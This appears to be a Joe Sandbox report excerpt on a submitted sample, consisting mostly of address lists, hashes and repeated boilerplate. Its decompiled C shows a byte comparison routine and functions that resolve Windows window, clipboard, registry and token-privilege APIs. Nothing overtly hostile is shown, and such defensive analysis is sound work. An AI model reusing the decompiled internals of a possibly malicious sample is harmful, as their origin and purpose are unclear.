0x00000000
0x00000000
0x00000000
0x0040eab0
0x0040ea8b
0x0040ea8f
0x00000000
0x00000000
0x00000000
0x0040ea8f
0x0040ea6a
0x0040ea6e
0x00000000
0x00000000
0x00000000
0x0040ea6e
0x0040e9cc
0x0040e9ce
0x0040e9e5
0x0040e9ed
0x0040e9ef
0x0040ea06
0x0040ea0e
0x0040ea10
0x0040ea27
0x0040ea2f
0x0040ea31
0x0040ea3e
0x0040ea3e
0x00000000
0x0040ea31
0x0040ea1d
0x0040ea21
0x00000000
0x00000000
0x00000000
0x0040ea21
0x0040e9fc
0x0040ea00
0x00000000
0x00000000
0x00000000
0x0040ea00
0x0040e9db
0x0040e9df
0x00000000
0x00000000
0x00000000
0x0040e9df
0x0040e93c
0x0040e93e
0x0040e955
0x0040e95d
0x0040e95f
0x0040e976
0x0040e97e
0x0040e980
0x0040e997
0x0040e99f
0x0040e9a1
0x0040e9ae
0x0040e9ae
0x00000000
0x0040e9a1
0x0040e98d
0x0040e991
0x00000000
0x00000000
0x00000000
0x0040e991
0x0040e96c
0x0040e970
0x00000000
0x00000000
0x00000000
0x0040e970
0x0040e94b
0x0040e94f
0x00000000
0x00000000
0x00000000
0x0040e94f
0x0040e8ad
0x0040e8af
0x0040e8c6
0x0040e8ce
0x0040e8d0
0x0040e8e7
0x0040e8ef
0x0040e8f1
0x0040e908
0x0040e910
0x0040e912
0x0040e91f
0x0040e91f
0x00000000
0x0040e912
0x0040e8fe
0x0040e902
0x00000000
0x00000000
0x00000000
0x0040e902
0x0040e8dd
0x0040e8e1
0x00000000
0x00000000
0x00000000
0x0040e8e1
0x0040e8bc
0x0040e8c0
0x00000000
0x00000000
0x00000000
0x0040e8c0
0x0040e81e
0x0040e820
0x0040e837
0x0040e83f
0x0040e841
0x0040e858
0x0040e860
0x0040e862
0x0040e879
0x0040e881
0x0040e883
0x0040e890
0x0040e890
0x00000000
0x0040e883
0x0040e86f
0x0040e873
0x00000000
0x00000000
0x00000000
0x0040e873
0x0040e84e
0x0040e852
0x00000000
0x00000000
0x00000000
0x0040e852
0x0040e82d
0x0040e831
0x00000000
0x00000000
0x00000000
0x0040e831
0x0040e78f
0x0040e791
0x0040e7a8
0x0040e7b0
0x0040e7b2
0x0040e7c9
0x0040e7d1
0x0040e7d3
0x0040e7ea
0x0040e7f2
0x0040e7f4
0x0040e801
0x0040e801
0x00000000
0x0040e7f4
0x0040e7e0
0x0040e7e4
0x00000000
0x00000000
0x00000000
0x0040e7e4
0x0040e7bf
0x0040e7c3
0x00000000
0x00000000
0x00000000
0x0040e7c3
0x0040e79e
0x0040e7a2
0x00000000
0x00000000
0x00000000
0x0040e6f9
0x0040e6f9
0x0040e6fc
0x0040e700
0x0040e702
0x0040e719
0x0040e719
0x0040e71d
0x0040e721
0x0040e723
0x0040e73a
0x0040e73a
0x0040e73e
0x0040e742
0x0040e744
0x0040e75b
0x0040e75b
0x0040e75f
0x0040e763
0x0040e765
0x0040e76b
0x0040e76e
0x0040e772
0x0040e772
0x00000000
0x0040e765
0x0040e74a
0x0040e74d
0x0040e751
0x0040e755
0x00000000
0x00000000
0x00000000
0x0040e755
0x0040e729
0x0040e72c
0x0040e730
0x0040e734
0x00000000
0x00000000
0x00000000
0x0040e734
0x0040e708
0x0040e70b
0x0040e70f
0x0040e713
0x00000000
0x00000000
0x00000000
0x0040e713
0x0040e316
0x0040e316
0x00000000

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: d6badee8b3a56fecff4402e1b3392d1baf91d75578994219d79cf01c200ae653
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 2BC14873D0A9B30AC776816E416822FEEA26ED164031ECBF69CD43F3C9923B5D2495D4

Uniqueness

Uniqueness Score: -1.00%

Function 0040E31D Relevance: .4, Instructions: 351
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0040E31D(void* __eax, void* __ecx) {
				void* _t177;
				signed int _t178;
				void* _t181;
				signed char _t187;
				signed char _t188;
				signed char _t189;
				signed char _t191;
				signed char _t192;
				signed int _t198;
				signed int _t284;
				void* _t287;
				void* _t289;
				void* _t291;
				void* _t293;
				void* _t295;
				void* _t297;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t307;
				void* _t309;
				void* _t311;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;

				_t181 = __ecx;
				_t177 = __eax;
				if( *((intOrPtr*)(__eax - 0x1c)) ==  *((intOrPtr*)(__ecx - 0x1c))) {
					_t284 = 0;
					L11:
					if(_t284 != 0) {
						goto L1;
					}
					_t187 =  *(_t177 - 0x18);
					if(_t187 ==  *(_t181 - 0x18)) {
						_t284 = 0;
						L22:
						if(_t284 != 0) {
							goto L1;
						}
						_t188 =  *(_t177 - 0x14);
						if(_t188 ==  *(_t181 - 0x14)) {
							_t284 = 0;
							L33:
							if(_t284 != 0) {
								goto L1;
							}
							_t189 =  *(_t177 - 0x10);
							if(_t189 ==  *(_t181 - 0x10)) {
								_t284 = 0;
								L44:
								if(_t284 != 0) {
									goto L1;
								}
								if( *(_t177 - 0xc) ==  *(_t181 - 0xc)) {
									_t284 = 0;
									L55:
									if(_t284 != 0) {
										goto L1;
									}
									_t191 =  *(_t177 - 8);
									if(_t191 ==  *(_t181 - 8)) {
										_t284 = 0;
										L66:
										if(_t284 != 0) {
											goto L1;
										}
										_t192 =  *(_t177 - 4);
										if(_t192 ==  *(_t181 - 4)) {
											_t178 = 0;
											L78:
											if(_t178 == 0) {
												_t178 = 0;
											}
											L80:
											return _t178;
										}
										_t287 = (_t192 & 0x000000ff) - ( *(_t181 - 4) & 0x000000ff);
										if(_t287 == 0) {
											L70:
											_t289 = ( *(_t177 - 3) & 0x000000ff) - ( *(_t181 - 3) & 0x000000ff);
											if(_t289 == 0) {
												L72:
												_t291 = ( *(_t177 - 2) & 0x000000ff) - ( *(_t181 - 2) & 0x000000ff);
												if(_t291 == 0) {
													L75:
													_t178 = ( *(_t177 - 1) & 0x000000ff) - ( *(_t181 - 1) & 0x000000ff);
													if(_t178 != 0) {
														_t178 = (0 | _t178 > 0x00000000) + (0 | _t178 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t198 = (0 | _t291 > 0x00000000) + (0 | _t291 > 0x00000000) - 1;
												if(_t198 == 0) {
													goto L75;
												}
												L74:
												_t178 = _t198;
												goto L78;
											}
											_t198 = (0 | _t289 > 0x00000000) + (0 | _t289 > 0x00000000) - 1;
											if(_t198 != 0) {
												goto L74;
											}
											goto L72;
										}
										_t198 = (0 | _t287 > 0x00000000) + (0 | _t287 > 0x00000000) - 1;
										if(_t198 != 0) {
											goto L74;
										}
										goto L70;
									}
									_t293 = (_t191 & 0x000000ff) - ( *(_t181 - 8) & 0x000000ff);
									if(_t293 == 0) {
										L59:
										_t295 = ( *(_t177 - 7) & 0x000000ff) - ( *(_t181 - 7) & 0x000000ff);
										if(_t295 == 0) {
											L61:
											_t297 = ( *(_t177 - 6) & 0x000000ff) - ( *(_t181 - 6) & 0x000000ff);
											if(_t297 == 0) {
												L63:
												_t284 = ( *(_t177 - 5) & 0x000000ff) - ( *(_t181 - 5) & 0x000000ff);
												if(_t284 != 0) {
													_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
												}
												goto L66;
											}
											_t284 = (0 | _t297 > 0x00000000) + (0 | _t297 > 0x00000000) - 1;
											if(_t284 != 0) {
												goto L1;
											}
											goto L63;
										}
										_t284 = (0 | _t295 > 0x00000000) + (0 | _t295 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L61;
									}
									_t284 = (0 | _t293 > 0x00000000) + (0 | _t293 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L59;
								}
								_t300 = ( *(_t177 - 0xc) & 0x000000ff) - ( *(_t181 - 0xc) & 0x000000ff);
								if(_t300 == 0) {
									L48:
									_t302 = ( *(_t177 - 0xb) & 0x000000ff) - ( *(_t181 - 0xb) & 0x000000ff);
									if(_t302 == 0) {
										L50:
										_t304 = ( *(_t177 - 0xa) & 0x000000ff) - ( *(_t181 - 0xa) & 0x000000ff);
										if(_t304 == 0) {
											L52:
											_t284 = ( *(_t177 - 9) & 0x000000ff) - ( *(_t181 - 9) & 0x000000ff);
											if(_t284 != 0) {
												_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
											}
											goto L55;
										}
										_t284 = (0 | _t304 > 0x00000000) + (0 | _t304 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L52;
									}
									_t284 = (0 | _t302 > 0x00000000) + (0 | _t302 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L50;
								}
								_t284 = (0 | _t300 > 0x00000000) + (0 | _t300 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L48;
							}
							_t307 = (_t189 & 0x000000ff) - ( *(_t181 - 0x10) & 0x000000ff);
							if(_t307 == 0) {
								L37:
								_t309 = ( *(_t177 - 0xf) & 0x000000ff) - ( *(_t181 - 0xf) & 0x000000ff);
								if(_t309 == 0) {
									L39:
									_t311 = ( *(_t177 - 0xe) & 0x000000ff) - ( *(_t181 - 0xe) & 0x000000ff);
									if(_t311 == 0) {
										L41:
										_t284 = ( *(_t177 - 0xd) & 0x000000ff) - ( *(_t181 - 0xd) & 0x000000ff);
										if(_t284 != 0) {
											_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
										}
										goto L44;
									}
									_t284 = (0 | _t311 > 0x00000000) + (0 | _t311 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L41;
								}
								_t284 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L39;
							}
							_t284 = (0 | _t307 > 0x00000000) + (0 | _t307 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L37;
						}
						_t314 = (_t188 & 0x000000ff) - ( *(_t181 - 0x14) & 0x000000ff);
						if(_t314 == 0) {
							L26:
							_t316 = ( *(_t177 - 0x13) & 0x000000ff) - ( *(_t181 - 0x13) & 0x000000ff);
							if(_t316 == 0) {
								L28:
								_t318 = ( *(_t177 - 0x12) & 0x000000ff) - ( *(_t181 - 0x12) & 0x000000ff);
								if(_t318 == 0) {
									L30:
									_t284 = ( *(_t177 - 0x11) & 0x000000ff) - ( *(_t181 - 0x11) & 0x000000ff);
									if(_t284 != 0) {
										_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
									}
									goto L33;
								}
								_t284 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L30;
							}
							_t284 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L28;
						}
						_t284 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L26;
					}
					_t321 = (_t187 & 0x000000ff) - ( *(_t181 - 0x18) & 0x000000ff);
					if(_t321 == 0) {
						L15:
						_t323 = ( *(_t177 - 0x17) & 0x000000ff) - ( *(_t181 - 0x17) & 0x000000ff);
						if(_t323 == 0) {
							L17:
							_t325 = ( *(_t177 - 0x16) & 0x000000ff) - ( *(_t181 - 0x16) & 0x000000ff);
							if(_t325 == 0) {
								L19:
								_t284 = ( *(_t177 - 0x15) & 0x000000ff) - ( *(_t181 - 0x15) & 0x000000ff);
								if(_t284 != 0) {
									_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
								}
								goto L22;
							}
							_t284 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L19;
						}
						_t284 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L17;
					}
					_t284 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
					if(_t284 != 0) {
						goto L1;
					}
					goto L15;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1c) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
					if(__esi == 0) {
						L4:
						__esi =  *(__eax - 0x1b) & 0x000000ff;
						__edx =  *(__ecx - 0x1b) & 0x000000ff;
						__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
						if(__esi == 0) {
							L6:
							__esi =  *(__eax - 0x1a) & 0x000000ff;
							__edx =  *(__ecx - 0x1a) & 0x000000ff;
							__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
							if(__esi == 0) {
								L8:
								__esi =  *(__eax - 0x19) & 0x000000ff;
								__edx =  *(__ecx - 0x19) & 0x000000ff;
								__esi = ( *(__eax - 0x19) & 0x000000ff) - ( *(__ecx - 0x19) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L11;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L8;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L6;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L4;
				}
				L1:
				_t178 = _t284;
				goto L80;
			}

0x0040e31d
0x0040e31d
0x0040e323
0x0040e396
0x0040e398
0x0040e39a
0x00000000
0x00000000
0x0040e3a0
0x0040e3a6
0x0040e425
0x0040e427
0x0040e429
0x00000000
0x00000000
0x0040e42f
0x0040e435
0x0040e4b4
0x0040e4b6
0x0040e4b8
0x00000000
0x00000000
0x0040e4be
0x0040e4c4
0x0040e543
0x0040e545
0x0040e547
0x00000000
0x00000000
0x0040e553
0x0040e5d3
0x0040e5d5
0x0040e5d7
0x00000000
0x00000000
0x0040e5dd
0x0040e5e3
0x0040e662
0x0040e664
0x0040e666
0x00000000
0x00000000
0x0040e66c
0x0040e672
0x0040e6e3
0x0040e6e5
0x0040e6e7
0x0040e6e9
0x0040e6e9
0x0040e6eb
0x0040f447
0x0040f447
0x0040e67b
0x0040e67d
0x0040e68e
0x0040e696
0x0040e698
0x0040e6a9
0x0040e6b1
0x0040e6b3
0x0040e6c8
0x0040e6d0
0x0040e6d2
0x0040e6df
0x0040e6df
0x00000000
0x0040e6d2
0x0040e6bc
0x0040e6c2
0x00000000
0x00000000
0x0040e6c4
0x0040e6c4
0x00000000
0x0040e6c4
0x0040e6a1
0x0040e6a7
0x00000000
0x00000000
0x00000000
0x0040e6a7
0x0040e686
0x0040e68c
0x00000000
0x00000000
0x00000000
0x0040e68c
0x0040e5ec
0x0040e5ee
0x0040e605
0x0040e60d
0x0040e60f
0x0040e626
0x0040e62e
0x0040e630
0x0040e647
0x0040e64f
0x0040e651
0x0040e65e
0x0040e65e
0x00000000
0x0040e651
0x0040e63d
0x0040e641
0x00000000
0x00000000
0x00000000
0x0040e641
0x0040e61c
0x0040e620
0x00000000
0x00000000
0x00000000
0x0040e620
0x0040e5fb
0x0040e5ff
0x00000000
0x00000000
0x00000000
0x0040e5ff
0x0040e55d
0x0040e55f
0x0040e576
0x0040e57e
0x0040e580
0x0040e597
0x0040e59f
0x0040e5a1
0x0040e5b8
0x0040e5c0
0x0040e5c2
0x0040e5cf
0x0040e5cf
0x00000000
0x0040e5c2
0x0040e5ae
0x0040e5b2
0x00000000
0x00000000
0x00000000
0x0040e5b2
0x0040e58d
0x0040e591
0x00000000
0x00000000
0x00000000
0x0040e591
0x0040e56c
0x0040e570
0x00000000
0x00000000
0x00000000
0x0040e570
0x0040e4cd
0x0040e4cf
0x0040e4e6
0x0040e4ee
0x0040e4f0
0x0040e507
0x0040e50f
0x0040e511
0x0040e528
0x0040e530
0x0040e532
0x0040e53f
0x0040e53f
0x00000000
0x0040e532
0x0040e51e
0x0040e522
0x00000000
0x00000000
0x00000000
0x0040e522
0x0040e4fd
0x0040e501
0x00000000
0x00000000
0x00000000
0x0040e501
0x0040e4dc
0x0040e4e0
0x00000000
0x00000000
0x00000000
0x0040e4e0
0x0040e43e
0x0040e440
0x0040e457
0x0040e45f
0x0040e461
0x0040e478
0x0040e480
0x0040e482
0x0040e499
0x0040e4a1
0x0040e4a3
0x0040e4b0
0x0040e4b0
0x00000000
0x0040e4a3
0x0040e48f
0x0040e493
0x00000000
0x00000000
0x00000000
0x0040e493
0x0040e46e
0x0040e472
0x00000000
0x00000000
0x00000000
0x0040e472
0x0040e44d
0x0040e451
0x00000000
0x00000000
0x00000000
0x0040e451
0x0040e3af
0x0040e3b1
0x0040e3c8
0x0040e3d0
0x0040e3d2
0x0040e3e9
0x0040e3f1
0x0040e3f3
0x0040e40a
0x0040e412
0x0040e414
0x0040e421
0x0040e421
0x00000000
0x0040e414
0x0040e400
0x0040e404
0x00000000
0x00000000
0x00000000
0x0040e404
0x0040e3df
0x0040e3e3
0x00000000
0x00000000
0x00000000
0x0040e3e3
0x0040e3be
0x0040e3c2
0x00000000
0x00000000
0x00000000
0x0040e325
0x0040e325
0x0040e328
0x0040e32c
0x0040e32e
0x0040e341
0x0040e341
0x0040e345
0x0040e349
0x0040e34b
0x0040e35e
0x0040e35e
0x0040e362
0x0040e366
0x0040e368
0x0040e37b
0x0040e37b
0x0040e37f
0x0040e383
0x0040e385
0x0040e38b
0x0040e38e
0x0040e392
0x0040e392
0x00000000
0x0040e385
0x0040e36e
0x0040e371
0x0040e375
0x0040e379
0x00000000
0x00000000
0x00000000
0x0040e379
0x0040e351
0x0040e354
0x0040e358
0x0040e35c
0x00000000
0x00000000
0x00000000
0x0040e35c
0x0040e334
0x0040e337
0x0040e33b
0x0040e33f
0x00000000
0x00000000
0x00000000
0x0040e33f
0x0040e316
0x0040e316
0x00000000

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: 9a1f9b3a0da7db1e950ff5186b402a596c9ce53cebe3717408d701108d3fba23
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: C6C14A73C1A9B30AC735816E455812FEE626FD164032ECBF69C903F3C9A63B9D2195D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041F500 Relevance: .2, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041F500() {

				 *0x44a8d8 = GetWindowLongA;
				 *0x44a8dc = wvsprintfA;
				 *0x44a8e0 = SetWindowPos;
				 *0x44a8e4 = FindWindowA;
				 *0x44a8e8 = RedrawWindow;
				 *0x44a8ec = GetWindowTextA;
				 *0x44a8f0 = EnableWindow;
				 *0x44a8f4 = GetSystemMetrics;
				 *0x44a8f8 = IsWindow;
				 *0x44a8fc = CheckRadioButton;
				 *0x44a900 = UnregisterClassA;
				 *0x44a904 = SetCursor;
				 *0x44a908 = GetSysColorBrush;
				 *0x44a90c = DialogBoxParamA;
				 *0x44a910 = DestroyAcceleratorTable;
				 *0x44a914 = DispatchMessageA;
				 *0x44a918 = TranslateMessage;
				 *0x44a91c = LoadIconA;
				 *0x44a920 = EmptyClipboard;
				 *0x44a924 = SetClipboardData;
				 *0x44a928 = SetFocus;
				 *0x44a92c = CharUpperA;
				 *0x44a930 = OpenClipboard;
				 *0x44a934 = IsDialogMessageA;
				 *0x44a938 = TranslateAcceleratorA;
				 *0x44a93c = GetMessageA;
				 *0x44a940 = LoadAcceleratorsA;
				 *0x44a944 = RemoveMenu;
				 *0x44a948 = InvalidateRect;
				 *0x44a94c = ChildWindowFromPoint;
				 *0x44a950 = PostMessageA;
				 *0x44a954 = DestroyCursor;
				 *0x44a958 = CreateDialogParamA;
				 *0x44a95c = GetWindowRect;
				 *0x44a960 = IsMenu;
				 *0x44a964 = GetSubMenu;
				 *0x44a968 = SetDlgItemInt;
				 *0x44a96c = GetWindowPlacement;
				 *0x44a970 = CharLowerBuffA;
				 *0x44a974 = EnableMenuItem;
				 *0x44a978 = CheckMenuRadioItem;
				 *0x44a97c = GetSysColor;
				 *0x44a980 = KillTimer;
				 *0x44a984 = DestroyIcon;
				 *0x44a988 = DestroyWindow;
				 *0x44a98c = PostQuitMessage;
				 *0x44a990 = GetClientRect;
				 *0x44a994 = MoveWindow;
				 *0x44a998 = GetSystemMenu;
				 *0x44a99c = SetTimer;
				 *0x44a9a0 = SetWindowPlacement;
				 *0x44a9a4 = InsertMenuItemA;
				 *0x44a9a8 = GetMenu;
				 *0x44a9ac = CheckMenuItem;
				 *0x44a9b0 = SetMenuItemInfoA;
				 *0x44a9b4 = SetActiveWindow;
				 *0x44a9b8 = DefDlgProcA;
				 *0x44a9bc = RegisterClassA;
				 *0x44a9c0 = EndDialog;
				 *0x44a9c4 = SetDlgItemTextA;
				 *0x44a9c8 = EnumClipboardFormats;
				 *0x44a9cc = GetClipboardData;
				 *0x44a9d0 = CloseClipboard;
				 *0x44a9d4 = GetClassInfoA;
				 *0x44a9d8 = CallWindowProcA;
				 *0x44a9dc = SetWindowLongA;
				 *0x44a9e0 = IsDlgButtonChecked;
				 *0x44a9e4 = SetWindowTextA;
				 *0x44a9e8 = CheckDlgButton;
				 *0x44a9ec = GetActiveWindow;
				 *0x44a9f0 = LoadCursorA;
				 *0x44a9f4 = MessageBoxA;
				 *0x44a9f8 = wsprintfA;
				 *0x44a9fc = GetDlgItemTextA;
				 *0x44aa00 = SendMessageA;
				 *0x44aa04 = GetCursorPos;
				 *0x44aa08 = TrackPopupMenu;
				 *0x44aa0c = ClientToScreen;
				 *0x44aa10 = DestroyMenu;
				 *0x44aa14 = CreatePopupMenu;
				 *0x44aa18 = AppendMenuA;
				 *0x44aa1c = SendDlgItemMessageA;
				 *0x44aa20 = GetDlgItem;
				return SendDlgItemMessageA;
			}

0x0041f508
0x0041f513
0x0041f51f
0x0041f52a
0x0041f535
0x0041f541
0x0041f54c
0x0041f557
0x0041f563
0x0041f56e
0x0041f579
0x0041f585
0x0041f590
0x0041f59b
0x0041f5a7
0x0041f5b2
0x0041f5bd
0x0041f5c9
0x0041f5d4
0x0041f5df
0x0041f5eb
0x0041f5f6
0x0041f601
0x0041f60d
0x0041f618
0x0041f623
0x0041f62f
0x0041f63a
0x0041f645
0x0041f651
0x0041f65c
0x0041f667
0x0041f673
0x0041f67e
0x0041f689
0x0041f695
0x0041f6a0
0x0041f6ab
0x0041f6b7
0x0041f6c2
0x0041f6cd
0x0041f6d9
0x0041f6e4
0x0041f6ef
0x0041f6fb
0x0041f706
0x0041f711
0x0041f71d
0x0041f728
0x0041f733
0x0041f73f
0x0041f74a
0x0041f755
0x0041f761
0x0041f76c
0x0041f777
0x0041f783
0x0041f78e
0x0041f799
0x0041f7a5
0x0041f7b0
0x0041f7bb
0x0041f7c7
0x0041f7d2
0x0041f7dd
0x0041f7e9
0x0041f7f4
0x0041f7ff
0x0041f80b
0x0041f816
0x0041f821
0x0041f82d
0x0041f838
0x0041f843
0x0041f84f
0x0041f85a
0x0041f865
0x0041f871
0x0041f87c
0x0041f887
0x0041f893
0x0041f89e
0x0041f8a9
0x0041f8b0

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 579d172b192769e25d47c83dbf97fc65a8f0947291bfc1cbce62961d183d2b86
Instruction ID: 42367e0bfa897e4ffdd020feb51b5eb2eda8fbf8408aef8cb0e5d66bdae8e460
Opcode Fuzzy Hash: 579d172b192769e25d47c83dbf97fc65a8f0947291bfc1cbce62961d183d2b86
Instruction Fuzzy Hash: 01A1FAB8A86601CFD368CF19F9949117BE1F78E310791897AD80983776D7306862CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 0041F940 Relevance: .0, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041F940() {

				 *0x44aa24 = RegCreateKeyA;
				 *0x44aa28 = RegSetValueA;
				 *0x44aa2c = GetUserNameA;
				 *0x44aa30 = RegCloseKey;
				 *0x44aa34 = RegOpenKeyExA;
				 *0x44aa38 = AdjustTokenPrivileges;
				 *0x44aa3c = LookupPrivilegeValueA;
				 *0x44aa40 = OpenProcessToken;
				 *0x44aa44 = RegQueryValueExA;
				 *0x44aa48 = RegDeleteKeyA;
				return RegDeleteKeyA;
			}

0x0041f948
0x0041f953
0x0041f95f
0x0041f96a
0x0041f975
0x0041f981
0x0041f98c
0x0041f997
0x0041f9a3
0x0041f9ae
0x0041f9b4

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be77e66954d2e1062779403bdeda5321ecaa5b0cbed9c19de49bda5b60d141c0
Instruction ID: aa4f6c85fe574c11e51027a244be72ca4aab655516ba0d590871023ef220dc48
Opcode Fuzzy Hash: be77e66954d2e1062779403bdeda5321ecaa5b0cbed9c19de49bda5b60d141c0
Instruction Fuzzy Hash: 60F02DB9B946048FE364CF19FA80A00B7E1B34D314790413AE809A3B32D7306862DF5E

Uniqueness

Uniqueness Score: -1.00%

Function 00427154 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d0bfc2ef7b64e396843138ab717a1f3c293dc8ee292486fa54476fd2f3b6864
